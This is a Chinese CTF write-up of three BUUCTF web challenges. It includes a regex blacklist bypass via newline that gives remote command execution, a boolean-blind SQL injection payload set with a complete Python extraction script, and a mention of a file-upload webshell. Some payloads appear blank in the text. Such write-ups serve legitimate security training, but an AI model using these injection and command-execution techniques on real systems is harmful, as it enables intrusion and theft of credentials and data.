BUUCTF 38

知识点

  • json的格式是什么?

  • 当解析一个文件时,PHP 会寻找起始和结束标记,也就是 * 和 ?>,这告诉 PHP 开始和停止解析二者之间的代码。此种解析方式使得 PHP 可以被嵌入到各种不同的文档中去,而任何起始和结束标记之外的部分都会被 PHP 解析器忽略。
    PHP 也允许使用短标记 ,但不鼓励使用。只有通过激活 php.ini 中的 short_open_tag 配置指令或者在编译 PHP 时使用了配置选项 --enable-short-tags 时才能使用短标记。

38-1 [BSidesCF 2019]Kookie

做题思路

​​​​​​打开题目,提示用 admin 账号登陆

输入admin ,password 

无效的用户名或密码,再次尝试admin,admin,回显依然一样

第二句话说发现账户,应该是和cookie 有关,但是该如何下手呢

输入127.0.0.1试试,没有任何反应

看WP得知,把cookie修改为

得到flag 

38-2 [FBCTF2019]RCEService

做题思路

尝试输入

尝试输入

ls /

 黑客攻击检测

查看WP,原来题目叫我们以JSON的格式提交命令

?cmd={"cmd":"ls"}

源码


'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected

'; } else { echo 'Attempting to run command:
'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '

'; } } ?>

他这个过滤够吓人的
但是他用的是preg_match()函数,只匹配一行,用个换行符搞定
payload

?cmd={%0A"cmd": "ls /"%0A}

BUUCTF 38_第1张图片

  这提供了个路径,看下这个路径有啥

?cmd={%0A"cmd": "ls /home/rceservice"%0A}

BUUCTF 38_第2张图片

flag果然在这里
那如何调用cat呢,简单,直接用绝对路径调用
payload

?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

即可查看flag

38-3 [CISCN2019 总决赛 Day2 Web1]Easyweb

做题思路

只有登陆界面,测试了下啥都没有,扫目录发现robots.txt,给出了.bak备份文件下载

那个喵喵喵图片是从image.php发出来的,就可以下载他的备份文件…

源码如下

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

可以发现他是通过id或者path这两个变量来与数据库进行交互的
说明可以用这两个变量来进行sql注入

看到过滤函数
addslashes函数会转义单引号,双引号,反斜杠,null。

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

要让sql语句闭合
我们可以让id =\0'

payload:

id=\0'&path=or 1=1 --+

成功执行
有布尔回显,可以使用布尔盲注

查库
payload:

id=\0'&path=or ascii(substr(database(),1,1))>1 --+

库名为ciscnfinal

查表
paylaod:

id=\0%27&path=or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1 --+

查列(由于过滤了分号可以使用十六进制字符窜
查usr表里的列名
payload

id=\0%27&path=or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),1,1))>1 --+

列名为username,password

查username

payload

id=\0%27&path=or ascii(substr((select group_concat(username) from users),1,1))>1 --+

username 为:admin

查password

id=\0%27&path=or ascii(substr((select group_concat(password) from users),1,1))>1 --+

最终脚本如下

import requests

url = "http://f8e8efcc-b6b6-4ed9-9be9-0b116b194294.node3.buuoj.cn/image.php"

#查库
payload1="?id=\\0'&path=or ascii(substr(database(),{},1))>{} --+"

#查表
payload2 ="?id=\\0%27&path=or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{} --+"

#查列
payload3 ="?id=\\0%27&path=or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{} --+"

#查用户名
payload4 ="?id=\\0%27&path=or ascii(substr((select group_concat(password) from users),{},1))>{} --+"   #查密码将username换为password


database =""
for i in range(1,10000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        # payload = payload1.format(i,mid)  #查库名
        # payload = payload2.format(i,mid)  #查表名
        # payload = payload3.format(i,mid)  #查列名
        payload = payload4.format(i,mid) #查用户名

        new_url = url + payload
        r = requests.get(new_url)
        print(new_url)
        if "JFIF" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) //2
    if (mid == 32 or mid == 132):
        break
    database +=chr(mid)
    print(database)

# print("database=",database) #输出库名
# print("table=",database)   #输出表名
# print("column=",database)    #输出列名
print("usernmae=",database)  #输出用户名


登录后是一段文件上传

payload

filename=

蚁剑连接即可拿到flag

借鉴自该文章

你可能感兴趣的:(BUUCTF 38)